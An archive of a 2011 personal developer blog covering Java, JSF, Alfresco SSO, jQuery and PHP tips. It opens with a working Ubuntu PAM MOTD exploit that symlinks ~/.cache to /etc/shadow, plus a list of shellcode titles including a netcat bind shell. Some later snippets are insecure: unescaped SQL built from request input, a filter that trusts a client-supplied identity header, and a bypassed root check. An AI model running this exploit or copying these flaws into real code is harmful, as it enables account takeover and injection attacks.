Thursday, December 29, 2011

Ubuntu root access

The PAM_MOTD exploit for Ubuntu is still not patched…

rm -rf ~/.cache;
ln -s /etc/shadow ~/.cache;
ssh localhost (trigger pam_motd by re-logging in and you’ll own /etc/shadow)



In a recent thread is was suggested that Linux was as vulnerable as Windows is and as proof a list of exploits were given that were published on almost the same day as the discussion. Here is the list that was given:
Quote

2011-07-08 Ubuntu PAM MOTD File Tampering (Privilege Escalation)
2011-07-05 linux/x86 polymorphic Drop suid shell root /tmp/.hiddenshell 161 bytes
2011-07-05 linux/x86 bind sh@64533 97 bytes
2011-07-05 linux/x86 lynx polymorphic shellcode 84 bytes
2011-07-05 linux/x86 setreuid(0,0) execve(“/bin/sh”,NULL,NULL) encoded 62 bytes
2011-07-05 linux/x86 /proc/sys/kernel/randomize_va_space SUB encoded 111 bytes
2011-07-05 linux/x86 bind port to 6678 XOR encoded polymorphic shellcode 125 bytes
2011-07-05 linux/x86 nc -lp 31337 -e /bin/sh polymorphic shellcode 91 bytes

Cheers,

Ujjwal Soni

Running Teamviewer 6 as root on linux

While attempting to run teamviewer 6 on BT5, as usual, I got the error:

Error: TeamViewer must not be executed as root!

so the solution is simple

root@bt:~# cd /opt/teamviewer/teamviewer/6/bin/
root@bt:/opt/teamviewer/teamviewer/6/bin# gedit wrapper

then edit the file as

and instead of “die” just replace that with “echo”. This way it would run and every time remind you of security issues as well.


function validate_user()
{
local userid=$(id -u)

if [ $userid = 0 ] ; then
echo “TeamViewer must not be executed as root!”
fi
}

or simply just uncomment the whole if – fi structure.

Cheers!

Ujjwal Soni

Tuesday, December 27, 2011

The 3 virtues of a great programmer

1. Laziness - The quality that makes you go to great effort to reduce overall energy expenditure. It makes you write labor-saving programs that other people will find useful, and document what you wrote so you don't have to answer so many questions about it. Hence, the first great virtue of a programmer. Also hence, this book. See also impatience and hubris.

2. Impatience - The anger you feel when the computer is being lazy. This makes you write programs that don't just react to your needs, but actually anticipate them. Or at least pretend to. Hence, the second great virtue of a programmer. See also laziness and hubris.

3. Hubris - Excessive pride, the sort of thing Zeus zaps you for. Also the quality that makes you write (and maintain) programs that other people won't want to say bad things about. Hence, the third great virtue of a programmer. See also laziness and impatience.

Source : wikipedia

Cheers,

Ujjwal Soni

Monday, December 12, 2011

How to Solve Apple iCloud Verification Email Problem

Apple recently launched its cloud storage service, iCloud. When I tried setting up iCloud on my iPhone4, I was stuck with the verification email problem. The set up wizard kept asking for iCloud email verification but I couldn’t find any option to send or resend iCloud verification email to my email address so that I can verify it. On further research I found that Apple has changed the way it handles Apple ID. Your email address and Apple ID now have to be same; this is unlike how Apple used to handle Apple ID and email address. Till now you could create multiple Apple IDs with one email address or, in other words, a single email address could have been associated with multiple Apple IDs. This got me to the root of the problem why I was not receiving the iCloud verification email. If you are facing the same problem, please follow the steps below to receive iCloud verification email:

1. Go to https://appleid.apple.com/

2. Click on “Find out” link under “Not sure if you have an Apple ID?”



3. Fill out your first name, last name and the email address that you want to use for receiving iCloud verification email.

4. On the next screen, select “Email Authentication” option and click “Next”.

5. Now, go to your Email Inbox and you will find an email from Apple on how to reset the Apple ID password. Click on the “Reset your Apple ID password” link in the email.

6. You will be shown more than one Apple IDs that are associated with your email address.


7. Now, choose the Apple ID that you would NOT like to use for receiving iCloud verification email and click “Next”.

8. Reset the password for this account by providing a new password.

9. Login to Apple ID by visiting https://appleid.apple.com/ and clicking “Manage your account” link. Use the Apple ID that you would NOT like to use for receiving iCloud verification email and the password that you had just set.

10. Click on “Edit” link under “Primary Email Address” section, provide a new email address. Click “Save”.

11. Click Sign Out.

Once you have changed the email address for the Apple ID that you would NOT like to use for receiving iCloud verification email, it’s time to set things right in the Apple ID that you would like to use for iCloud services. Just log in to your account https://appleid.apple.com/with Apple ID that you would like to use for receiving iCloud verification email. You should now see the link to resend verification email under your email address. Click on that link, confirm your email address and you will be all set to use iCloud.

Friday, December 9, 2011

TinyMCE Text Area

Hi All,

Recently i was preparing an application which was based on JSP/Struts, i had a requirement to implement custom font, color selection for each text area on the screen (the screen had multiple text-areas), i found a cool script which allows me to implement visual effects to my text areas, TinyMCE is a platform independent web based Javascript HTML WYSIWYG editor control released as Open Source under LGPL by Moxiecode Systems.

http://www.tinymce.com

Its very easy and fast to implement..:)

Thanks,

Ujjwal Soni

Thursday, November 10, 2011

Create Secure Jars

Hi.

Recently, There was a need to create JARS which cannot be decompiled as I want to secure my source code.

I found obfuscated jar. bytecode obfuscator modifies the content of source files in such a way that their behaviour is unaffected while minimizing the amount of info from the source code thats exposed. Retroguard was the well known commercial obfuscator for java. There are opensource s/w as well.

See the official link and choose the one that fits your needs.

http://www.linkedin.com/redirect?url=http%3A%2F%2Fjava-source%2Enet%2Fopen-source%2Fobfuscators&urlhash=vWAH

Cheers,

Ujjwal Soni

CSS Compression Online Tool

CSS Compressor online tool to compress CSS to reduce CSS code size and make your web pages load faster. You can select from four levels of compression, depending on how legible you want the compressed CSS to be versus degree of compression. It is quick, easy and free!

http://www.csscompressor.com/

Cheers,

Ujjwal Soni

Sunday, November 6, 2011

ORA-01006: bind variable does not exist

Hi,

Recently one of my collegue faced an error as "ORA-01006: bind variable does not exist". We could'nt rectify the reason for this error, later on, we discovered that there was a comma missing in callable statement parameter declaration.

it was something like ::

  CallableStatement cstmt =
             dbConnection.prepareCall("{call my_new_proc(?,?,?,?" + "?,?" +")}");


which should be like ::

  CallableStatement cstmt =
             dbConnection.prepareCall("{call my_new_proc(?,?,?,?" + ",?,?" +")}");


There can be many reasons for this error, but the one which we discovered was this one.

Cheers,

Ujjwal Soni

Tuesday, October 18, 2011

How to use multiple onloads with external scripts ?

Hi All,

First of all thanks for visiting my blog. I recently working on oracle portlets and i had to add multiple portlets on my single page, that created conflict since both portlets had onload events and that created multiple onload events.

Scripts probably conflict most often when using the onLoad event. Have you ever used code like this?

window.onload=myInitFunction;

This is fine if you're sure myInitFunction() will be the only function that needs to be called when the page is loaded. But how can you know for sure? What if a page that calls your script has code in its ? What if there's another external script on the page that also assigns a function to the onload event? The code above will overwrite what was there with your code and that's not good.

Use the function below to add your function without replacing what is already in the onLoad.

function addOnloadEvent(fnc){
  if ( typeof window.addEventListener != "undefined" )
    window.addEventListener( "load", fnc, false );
  else if ( typeof window.attachEvent != "undefined" ) {
    window.attachEvent( "onload", fnc );
  }
  else {
    if ( window.onload != null ) {
      var oldOnload = window.onload;
      window.onload = function ( e ) {
        oldOnload( e );
        window[fnc]();
      };
    }
    else
      window.onload = fnc;
  }
}
example ::

addOnloadEvent(myFunctionName);

// Or to pass arguments

addOnloadEvent(function(){ myFunctionName('myArgument') });

Cheers,

Ujjwal Soni

Tuesday, September 6, 2011

JSF code snippet: integrating JSF pages into a plain old JSP

A simple way to include a JSF page into a bigger JSP (sure there's other ways, but this one is easy):
the JSF page must be a subview:

<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h"%>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f"%>
<f:subview id="myJSFSubview">
.....
</f:subview>

The tricky part is how to include it in the JSP, in a way that is independent of the main JSP. But you just need to include like this:

<% pageContext.include("myJSFpage.jsf"); %> 

Cheers,

Ujjwal Soni

Simple Java tricks to protect your web application against SQL injection

Your application is vulnerable to SQL Injection when you send unfiltered strings to the database. Most modern ORM frameworks should take care of it (but don't take my word!... go ahead and check how secure your framework is).
Sometimes, you have to work with plain JDBC (or ODBC). Here is a couple of tricks that help:

1. First and foremost, avoid concatenating strings for SQL queries. Use prepared statements unless is not possible (i.e. cases when you have undefined number of parameters)
2. Leverage the language type system: If you're passing a number, use Integer instead of String... any invalid character will fail the conversion and will not reach the DB.
3. If there's no option but concatenate strings, make sure the database comment quotes are escaped (for example, in DB2 you have to replace the single quote character with 2 single quote characters: instead of "SELECT * FROM users WHERE name='"+param+"'" use "SELECT * FROM users WHERE name='"+param.replaceAll("'","''")+"'"

For something a little more advanced, you can wrap the strings in some kind of "EscapedString" class, and use that class in the signature of the DAOs (related to 2. )

Note: by no means this is a comprehensive list. Application security is very hard, check your database documentation...

Cheers,

Ujjwal Soni

How to Protect Against MySQL Injection on User Login Form

The below mysql database query is to to protect your database against MySQL injection through user login forms. This preventive action make spammers stay away from running the database query on your database with out your knowledge

Query to Protect Against MySQL Injection via Login Form

$username = stripslashes($username);
$password = stripslashes($password);
$username = mysql_real_escape_string($username);
$password = mysql_real_escape_string($password); 


Cheers,

Ujjwal Soni

-- In Dreams And In Love There Are No Impossibilities --

Monday, September 5, 2011

What will happen to Java, in Oracle's hands ?

I was asked by my friend few days back that "What will happen to Java, in Oracle's hands ?"

My answer was.. INSERT INTO "Oracle" SELECT * FROM "Sun"

'...Open source will continue at Oracle - along with Java. It could even profit. Just don't expect it to help anybody else.'

It will help. Oracle has more money than SUN.

I don't think it will become more proprietary. IBM, Redhat, Apache etc. will not allow that.

Java is OK. JVM is not OK. But at least we have CacaoVM and some opensource implementations, once Oracle will bastardize it. On the other hand, I don't think they want to screw it up on a main trunk. They did this to RedHat clone, called Oracle Linux, that is completely rubbish distribution. I would more worry about OpenSolaris — there might be started some unpleasant "fun" from Oracle... :-(

Java became popular because of open policies of Sun. Any attempt to commercialize or make Java more proprietary will turn out to be a bad move for technology.

I think Oracle will try to make more money from Java licenses and try to control Java and use it for competitive advantage, which will make other Java vendors insecure and will eventually move away from Java. In a free market Oracle is free to do this, but it will not be good for the technology.

Use it if you like it, don't try to own it

I just hope there won't appear String2 that is null and an empty string at the same time, as they did to VARCHAR... :-)

Cheers,

Ujjwal Soni

-- In Dreams And In Love There Are No Impossibilities --

Top "MUST HAVE" habits of a great software developer to ensure creating a world class quality coding product

Below are some of top "MUST HAVE" habits of a great software developer to ensure creating a world class quality coding product ::

1) Self discipline. So much bad code is due to laziness by developers who don't do what they know should be done.

2) Assume the code written doesn't work unless it is proven to work.
Don't assume that things will never fail. In other words, assume things will fail and provide for clean handling of it. Error messages reporting errors are required. Crash on error is unacceptable.

3) Hangs are unacceptable. All code should be bounded in time and an error must be reported if it runs over.
Do your own testing. It doesn't matter if you have a separate test group. Do your own testing anyway.

4) Never assume that a user will never do something with the code. Assume that a user will do anything and everything possible. Provide clean handling and error messages for everything not allowed.

5) The developer should insure that the code compiles with zero warning messages.
Always use a source code repository, even in a “team” of one person. The repository should be backed-up properly.

6) Never check-in code to a main repository that doesn't compile cleanly. Check-in to a branch repository for checkpointing or backups is ok.

7) Teamwork - few things are small enough or require so few skills that one person can do them well.

8) Discipline - do things right *all the time* if you want top quality.
Ability, Experience - one needs to learn on the job; they say you tend to get expert only after 10,000 hours at a skill.

9) Breadth - you need to understand other people's vision not just your own, or what you make will suit you and nobody else.

10) Luck - whether your idea or somebody else's, you need a good idea AND the luck to get it to market at the right time.

11) A good team - what you can't put toward the effort yourself, the rest of the team needs to supply.

12) Knowledge - especially of design patterns (and have to remember that they are giving direction, not the right solution) and frameworks

13) TESTS - they are prooving that the code works. He/she must write tests automatically without thinking: do I have to?

14) Digging in problems - it laverages the knowledge and gives him/her deep understanding of technology

15) Curiosity - to be up to date with other concepts

16) Document everything (tomorrow you do not remember what is in your head today).

17) Pay attention to what your customer - requirements analyst says and work with him/her. Do not assume that you know their needs better. It is their needs. Do not assume that your work is just writting code, it is also discussing your plans and results with your clients.

18) Always plan your next task and sketch a model of what you will build.

19) Always check on the internet for things you need. It is very rare that you were the first to need them. For every hint you get try to give something back to the community. If there is an open source project near your needs use it and expand it. It is better to focus on your new task than reinventing the wheel.

20) Always take some time to check if you need to use a new tool or programming language. A good programmer is not tied to a specific language, however he can be very good or specialized at one or more.

21)Proper error/exception handling... make sure that app should not crash

22)He/She should be 'Continuous Learner' and upgrade their skills in respective domain time to time..

23)Last,but not least, Think 'out of box'. Smart people can easily entertain new ideas, thoughts, and ways of doing things.

Cheers!!!

Ujjwal Soni

-- In Dreams And In Love There Are No Impossibilities

Thursday, August 11, 2011

Alfresco Webdav SSO Configuration

Hi,

I finally configured Oracle SSO with Alfresco Webdav. Below is how i achieved that.

I need to run Alfresco on tomcat deployed on other virtual machine, i created a class file as under

-- STEP 1



package my.custom;

import java.io.IOException; 
import java.util.List;
import java.util.Locale;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import javax.transaction.UserTransaction;

import org.alfresco.model.ContentModel;
import org.alfresco.repo.security.authentication.AuthenticationComponent;
import org.alfresco.repo.security.authentication.AuthenticationException;
import org.alfresco.service.ServiceRegistry;
import org.alfresco.service.cmr.repository.NodeRef;
import org.alfresco.service.cmr.repository.NodeService;
import org.alfresco.service.cmr.security.AuthenticationService;
import org.alfresco.service.cmr.security.PersonService;
import org.alfresco.service.transaction.TransactionService;
import org.alfresco.web.app.Application;
import org.alfresco.web.app.servlet.AbstractAuthenticationFilter;
import org.alfresco.web.app.servlet.AuthenticationHelper;
import org.alfresco.web.bean.LoginBean;
import org.alfresco.web.bean.repository.User;
import org.alfresco.web.config.LanguagesConfigElement;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.springframework.extensions.config.ConfigService;
import org.springframework.extensions.surf.util.I18NUtil;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.alfresco.web.bean.repository.Repository;



public class WebDavAuthentication extends AbstractAuthenticationFilter implements Filter {
private static final String LOCALE = "locale";
public static final String MESSAGE_BUNDLE = "alfresco.messages.webclient";
private static Log logger = LogFactory.getLog(OSSOAuthenticationFilter.class);
private ServletContext context;
private String loginPage;
private AuthenticationComponent authComponent;
private AuthenticationService authService;
private TransactionService transactionService;
private PersonService personService;
private NodeService nodeService;
private List m_languages;

public OSSOAuthenticationFilter() {
super();
}

public void destroy() {
// Nothing to do
}

/**
* Run the filter
*
* @param sreq
* ServletRequest
* @param sresp
* ServletResponse
* @param chain
* FilterChain
* @exception IOException
* @exception ServletException
*/
public void doFilter(ServletRequest sreq, ServletResponse sresp, FilterChain chain) throws IOException, ServletException {
// Get the HTTP request/response/session
HttpServletRequest req = (HttpServletRequest) sreq;
HttpServletResponse resp = (HttpServletResponse) sresp;
HttpSession httpSess = req.getSession(true);

String userName = null;
//Get headers setted by the oracle sigle sign one server
java.util.Enumeration reqMap = req.getHeaders("Osso-User-Dn");

if (reqMap == null) {
logger.error("No user logged in");
} else {
while (reqMap.hasMoreElements()){
//Get from the full dn the username
userName = ((String)reqMap.nextElement()).split(",")[0].trim().toString().split("=")[1].trim().toString();
//String tmp = value.split(",")[0].trim().toString();
//userName = tmp.split("=")[1].trim().toString();
}
}

if (logger.isDebugEnabled()) {
logger.debug("OSSO : User = " + userName);
}

// See if there is a user in the session and test if it matches
User user = (User) httpSess.getAttribute(AuthenticationHelper.AUTHENTICATION_USER);

if (user != null) {
try {
// Debug
if (logger.isDebugEnabled())
logger.debug("OSSO : User " + user.getUserName() + " validate ticket");

if (user.getUserName().equals(userName)) {
UserTransaction tx1 = transactionService.getUserTransaction();
try {
tx1.begin();
authComponent.setCurrentUser(user.getUserName());
tx1.commit();
}catch(Exception ex){
logger.error("Failed due to transaction " + ex);
try {
tx1.rollback();
} catch (Exception ex2) {
logger.error("Failed to rollback transaction", ex2);
}

}
I18NUtil.setLocale(Application.getLanguage(httpSess));
chain.doFilter(sreq, sresp);
return;
} else {
// No match
//setAuthenticatedUser(req, httpSess, userName);
//below url is th oracle portal url
resp.sendRedirect("http://hostname:7778/alfresco");
return;
}
} catch (AuthenticationException ex) {
if (logger.isErrorEnabled())
logger.error("Failed to validate user " + user.getUserName(), ex);
}
}

setAuthenticatedUser(req, httpSess, userName);

// Redirect the login page as it is never seen as we always login by name
if (req.getRequestURI().endsWith(getLoginPage()) == true)
{
if (logger.isDebugEnabled())
logger.debug("Login page requested, chaining ...");

resp.sendRedirect(req.getContextPath() + "/faces/jsp/browse/browse.jsp");
return;
}
else
{
//below url is th oracle portal url
resp.sendRedirect("http://hostname:7778/alfresco");
//chain.doFilter(sreq, sresp);
return;
}

}

/**
* Set the authenticated user.
*
* It does not check that the user exists at the moment.
*
* @param req
* @param httpSess
* @param userName
*/
private void setAuthenticatedUser(HttpServletRequest req, HttpSession httpSess, String userName) {
if (userName != null){
UserTransaction tx1 = transactionService.getUserTransaction();
// Set the authentication
try {
tx1.begin();
authComponent.setCurrentUser(userName);
tx1.commit();
} catch (Throwable ex) {
logger.error(ex);
try {
tx1.rollback();
} catch (Exception ex2) {
logger.error("Failed to rollback transaction", ex2);
}
}

// Set up the user information
UserTransaction tx = transactionService.getUserTransaction();
NodeRef homeSpaceRef = null;
User user;
try {
tx.begin();
user = new User(userName, authService.getCurrentTicket(), personService.getPerson(userName));
homeSpaceRef = (NodeRef) nodeService.getProperty(personService.getPerson(userName), ContentModel.PROP_HOMEFOLDER);
if(homeSpaceRef == null) {
logger.warn("Home Folder is null for user '"+userName+"', using company_home.");
homeSpaceRef = (NodeRef) nodeService.getRootNode(Repository.getStoreRef());
}
user.setHomeSpaceId(homeSpaceRef.getId());
tx.commit();
} catch (Throwable ex) {
logger.error(ex);

try {
tx.rollback();
} catch (Exception ex2) {
logger.error("Failed to rollback transaction", ex2);
}

if (ex instanceof RuntimeException) {
throw (RuntimeException) ex;
} else {
throw new RuntimeException("Failed to set authenticated user", ex);
}
}

// Store the user
httpSess.setAttribute(AuthenticationHelper.AUTHENTICATION_USER, user);
httpSess.setAttribute(LoginBean.LOGIN_EXTERNAL_AUTH, Boolean.TRUE);

// Set the current locale from the Accept-Lanaguage header if available
Locale userLocale = parseAcceptLanguageHeader(req, m_languages);

if (userLocale != null) {
httpSess.setAttribute(LOCALE, userLocale);
httpSess.removeAttribute(MESSAGE_BUNDLE);
}

// Set the locale using the session
I18NUtil.setLocale(Application.getLanguage(httpSess));
}
}

public void init(FilterConfig config) throws ServletException {
this.context = config.getServletContext();
WebApplicationContext ctx = WebApplicationContextUtils.getRequiredWebApplicationContext(context);
ServiceRegistry serviceRegistry = (ServiceRegistry) ctx.getBean(ServiceRegistry.SERVICE_REGISTRY);
transactionService = serviceRegistry.getTransactionService();
nodeService = serviceRegistry.getNodeService();

authComponent = (AuthenticationComponent) ctx.getBean("authenticationComponent");
authService = (AuthenticationService) ctx.getBean("authenticationService");
personService = (PersonService) ctx.getBean("personService");

// Get a list of the available locales
ConfigService configServiceService = (ConfigService) ctx.getBean("webClientConfigService");
LanguagesConfigElement configElement = (LanguagesConfigElement) configServiceService.getConfig("Languages").getConfigElement(LanguagesConfigElement.CONFIG_ELEMENT_ID);

m_languages = configElement.getLanguages();
}

/**
* Return the login page address
*
* @return String
*/
private String getLoginPage() {
if (loginPage == null) {
loginPage = Application.getLoginPage(context);
}

return loginPage;
}
}



-- STEP 2 Place this class file under



C:\Alfresco\tomcat\webapps\alfresco\WEB-INF\classes\my\custom



-- STEP 3 Now you need to configure proxy pass in oc4j's httpd.conf file



$ORACLE_HOME/Apache/Apache/conf/httpd.conf, add the following entries:                                                                                    ProxyPass /alfresco/ http://host:8080/alfresco/

ProxyPass /alfresco http://host:8080/alfresco/


ProxyPassReverse /alfresco/ http://host:8080/alfresco/

ProxyPassReverse /alfresco http://host:8080/alfresco/

-- STEP 4 Now you need to enable sso on oracle portal



edit $ORACLE_HOME/Apache/Apache/conf/mod_osso.conf, add the following lines just before the :
require valid-user
AuthType Basic


require valid-user
AuthType Basic

Please restart apache after you have made this configuration 

-- STEP 5 Edit web xml file under

C:\Alfresco\tomcat\webapps\alfresco\WEB-INF

paste below lines before Authentication Filter 

<filter>
<filter-name>Osso Filter</filter-name>
<filter-class>my.custom.OSSOAuthenticationFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>Osso Filter</filter-name>
<url-pattern>/faces/jsp/browse/browse.jsp</url-pattern>
</filter-mapping>

<filter>
<filter-name>Osso Filter</filter-name>
<filter-class>my.custom.OSSOAuthenticationFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>Osso Filter</filter-name>
<url-pattern>/alfresco</url-pattern>
</filter-mapping> 

-- STEP 6 If alfresco is already running then stop and start alfresco
service from start menu under start -> alfresco -> stop alfreco
virtual server



Thats it, now oracle sso is configured successfully for Alfreco



Try opening http://oc4jserverhost/alfresco, it will redirect to oracle
portal sso login page, enter credentials, it will then redirect you to
alfresco home page on successful login.

Any issues implementing this, feel free to contact me..

Cheers,

Ujjwal Soni

Tuesday, August 2, 2011

Conflicting standard.jar with OC4J server

Today i was working on an application that was to be deployed on LIVE oc4j application server. The deployment went successful but when the application was being tested there were many errors as below related to standard. jar that was in OC4J lib and in my application's classpath.

The errors i got are as under ::


11/08/02 13:31:07 vqwiki.WikiException: org.apache.taglibs.standard.tag.common.core.Util.escapeXml(Ljava/lang/String;)Ljava/lang/String;
11/08/02 13:31:07       at vqwiki.servlets.SaveTopicServlet.doPost(SaveTopicServlet.java:150)
11/08/02 13:31:07       at javax.servlet.http.HttpServlet.service(HttpServlet.java:760)
11/08/02 13:31:07       at javax.servlet.http.HttpServlet.service(HttpServlet.java:853)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.invoke(ServletRequestDispatcher.java:835)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.forwardInternal(ServletRequestDispatcher.java:341)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.forward(ServletRequestDispatcher.java:230)
11/08/02 13:31:07       at vqwiki.servlets.VQWikiServlet.dispatch(VQWikiServlet.java:107)
11/08/02 13:31:07       at vqwiki.servlets.WikiServlet.doPost(WikiServlet.java:733)
11/08/02 13:31:07       at javax.servlet.http.HttpServlet.service(HttpServlet.java:760)
11/08/02 13:31:07       at javax.servlet.http.HttpServlet.service(HttpServlet.java:853)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.invoke(ServletRequestDispatcher.java:835)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.forwardInternal(ServletRequestDispatcher.java:341)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.forward(ServletRequestDispatcher.java:230)
11/08/02 13:31:07       at vqwiki.servlets.FrontControllerFilter.doFilter(FrontControllerFilter.java:91)
11/08/02 13:31:07       at com.evermind.server.http.EvermindFilterChain.doFilter(EvermindFilterChain.java:16)
11/08/02 13:31:07       at vqwiki.servlets.SetCharacterEncodingFilter.doFilter(SetCharacterEncodingFilter.java:74)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.invoke(ServletRequestDispatcher.java:670)
11/08/02 13:31:07       at com.evermind.server.http.ServletRequestDispatcher.forwardInternal(ServletRequestDispatcher.java:341)
11/08/02 13:31:07       at com.evermind.server.http.HttpRequestHandler.handleNotFound(HttpRequestHandler.java:1038)
11/08/02 13:31:07       at com.evermind.server.http.HttpRequestHandler.processRequest(HttpRequestHandler.java:853)
11/08/02 13:31:07       at com.evermind.server.http.AJPRequestHandler.run(AJPRequestHandler.java:231)
11/08/02 13:31:07       at com.evermind.server.http.AJPRequestHandler.run(AJPRequestHandler.java:136)
11/08/02 13:31:07       at com.evermind.util.ReleasableResourcePooledExecutor$MyWorker.run(ReleasableResourcePooledExecutor.java:192)
11/08/02 13:31:07       at java.lang.Thread.run(Thread.java:534)


I resolved this error by editing my web application's orion-web.xml

I un-commented below line from the file :


 <!-- Uncomment this element to control web application class loader behavior. -->
        <web-app-class-loader search-local-classes-first="true"  include-war-manifest-class-path="true" /> 

Regards,

Ujjwal Soni









Monday, July 25, 2011

Load Data while Scrolling Page Down with jQuery and PHP

Hi All,

Today, i will show you data loading while page scrolling down with jQuery and PHP. We have lots of data but can not display all. This script helps you to display little data and make faster your website.

Database Table


 
CREATE TABLE messages(

mes_id INT PRIMARY KEY AUTO_INCREMENT,

msg TEXT);

load_data.php

When we are scrolling down a webpage, the script($(window).scroll) finds that you are at the bottom and calls the last_msg_funtion(). Take a look at $.post("") eg: $.post("load_data.php?action=get&last_msg_id=35")




<?php
include('config.php');
$last_msg_id=$_GET['last_msg_id'];
$action=$_GET['action'];

if($action <> "get")
{
?>

<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript">
$(document).ready(function()
{
function last_msg_funtion()
{
var ID=$(".message_box:last").attr("id");
$('div#last_msg_loader').html('<img src="bigLoader.gif">');
$.post("load_data.php?action=get&last_msg_id="+ID,

function(data){
if (data != "") {
$(".message_box:last").after(data);
}
$('div#last_msg_loader').empty();
});
};

$(window).scroll(function(){
if ($(window).scrollTop() == $(document).height() - $(window).height()){
last_msg_funtion();
}
});
});
</script>
</head>
<body>
<?php
include('load_first.php'); //Include load_first.php
?>
<div id="last_msg_loader"></div>
</body>
</html>
<?php
}

else
{
include('load_second.php'); //include load_second.php
}
?>

load_first.php
Contains PHP code to load 20 rows form the message table.
<?php
$sql=mysql_query("SELECT * FROM messages ORDER BY mes_id DESC LIMIT 20");
while($row=mysql_fetch_array($sql))
{
$msgID= $row['mes_id'];
$msg= $row['msg'];
?>
<div id="<?php echo $msgID; ?>" class="message_box" > 
<?php echo $msg; ?>
</div> 
<?php
} 
?>



load_second.php

Contains PHP code to load 5 rows less than last_msg_id form the message table.  


<?php
$last_msg_id=$_GET['last_msg_id'];
$sql=mysql_query("SELECT * FROM messages WHERE mes_id < '$last_msg_id' ORDER BY mes_id DESC LIMIT 5");
$last_msg_id="";
while($row=mysql_fetch_array($sql))
{
$msgID= $row['mes_id'];
$msg= $row['msg']; 
?>
<div id="<?php echo $msgID; ?>" class="message_box" > 
<?php echo $msg;
?>
</div>
<?php
} 
?>


CSS


body
{
font-family:'Georgia',Times New Roman, Times, serif;
font-size:18px;
}
.message_box
{
height:60px;
width:600px;
border:dashed 1px #48B1D9;
padding:5px ;
}
#last_msg_loader
{
text-align: right;
width: 920px;
margin: -125px auto 0 auto;
}
.number
{
float:right;
background-color:#48B1D9;
color:#000;
font-weight:bold;
}




Please let me know any problems implementing this or any suggetions you have.


Cheers,

Ujjjwal Soni

 

Thursday, July 21, 2011

Cool jQuery Progress Indicator

Today I am going to show you how you can create a cool progress indicator to tell your end user that something is going on behind the back of an action. Below is an image of the progress indicator that slides from the top to the middle of the screen then displays the processing message then slides up and disappears once done. This code does not use any other 3rd party jquery plugin to display progress indicator.


<html>
<head>
    <script src="scripts/jquery.js"></script>
    <script type="text/javascript" >
        var $j = jQuery.noConflict();
        $j(document).ready(function(){
            $j("#btnSubmit").click(function(){
                $j("#messenger").css("width", document.body.offsetWidth);
                    $j("#messenger").css("height", document.body.offsetHeight);
                    $j("#messenger").css("opacity",.7);
                    $j("#messenger").fadeIn('fast');
                $j("#messengermessage").css("width", document.body.offsetWidth);
                $j("#messengermessage").animate({opacity: "1", top: "+=" + addToAnimation, height: "100", width: document.body.offsetWidth}, "slow")
                    var myhtml = '<div style="float:left; position:relative; padding-top:30px;"><img src="images/processing.gif" /></div><div style="float:left; position:relative; padding-top:40px;"><font style="font-family:verdana; font-size:14px;color:#000000; font-weight:bold;">saving attachments...</font></div>'
                    $j("#messengermessage").html("");
                    $j("#messengermessage").html(myhtml);
                $j.post('handlers/EmployeeRequisition.ashx', {
                    requestedBy : GetRequestedBy(),
                                requestor : GetRequestor(),
                                requisitionDate : $j("#dtpRequisitionDate").val()
                },
                        function(data) {
                    myhtml = '<div style="float:left; position:relative; padding-top:30px;"><img src="images/processing.gif" /></div><div style="float:left; position:relative; padding-top:40px;"><font style="font-family:verdana; font-size:14px;color:#000000; font-weight:bold;">form saved... </font></div>'
                                $j("#messengermessage").html("");
                                $j("#messengermessage").html(myhtml);
                                $j("#messengermessage").animate({opacity: "1"},2000, function(res) {
                                var subtractThis = document.body.offsetHeight - 500;
                                $j("#messengermessage").animate({opacity: "0", top: "-=" + subtractThis, height: "0", width: document.body.offsetWidth}, "slow")
                                    $j("#messenger").fadeOut('fast');
                            });
            });
        });
    </script>
</head>
<body style="font-family: Verdana; margin: 0px;">
    <form id="frmHR001" runat="server">
    <div>
        ............

    </div>
    <div>

        <input type="button" id="btnSubmit" value="submit" />
    </div>
    <div id="messenger" style="float: none; position: absolute; width: 100%; height: 100%;
            background-color: #000000; display: none; left: 0; top: 0;">
        </div>
        <div id="messengermessage" style="float: none; position: absolute; width: 100%; height: 100px;
            background-color: #ffffff; display: none; left: 0; top: 0; text-align: center;">
            <div style="float: left; position: relative; padding-top: 30px;">
                <img src="images/processing.gif" />
            </div>
            <div style="float: left; position: relative; padding-top: 40px;">
                <font style="font-family: Verdana; font-size: 14px; color: #000000; font-weight: bold;">
                    processing...</font>
            </div>
        </div>
    </form>
</body>
</html>

The code is quite long but then again it achieves our purpose. Let me know if there are any issues implementing this code.



Cheers,

Ujjwal Soni

Tuesday, July 19, 2011

Java Gets New Garbage Collector, But Only If You Buy Support

"The monetization of Java has begun. Sun released the Java 1.6.0_14 JDK and JRE today which include a cool new garbage collector called G1. There is just one catch. Even though it is included in the distribution, the release notes state 'Although G1 is available for use in this release, note that production use of G1 is only permitted where a Java support contract has been purchased.' So the Oracle touch is already taking effect. Will OpenJDK be doomed to a feature-castrated backwater while all the good stuff goes into the new Java SE for Business commercial version?"

To try G1, specify these command line options:
-XX:+UnlockExperimentalVMOptions -XX:+UseG1GC
I don't see anything obvious preventing you from using it (no license/support keys?), it's just not recommended since it's experimental. If you're crazy enough to use it on a production server, you better have a support contract so Sun/Oracle can fix any problems that come along. That seems reasonable.
Although it'd be better if they just said "don't use it for production, period."

Friday, July 8, 2011

Java Hangs When Converting 2.2250738585072012e-308

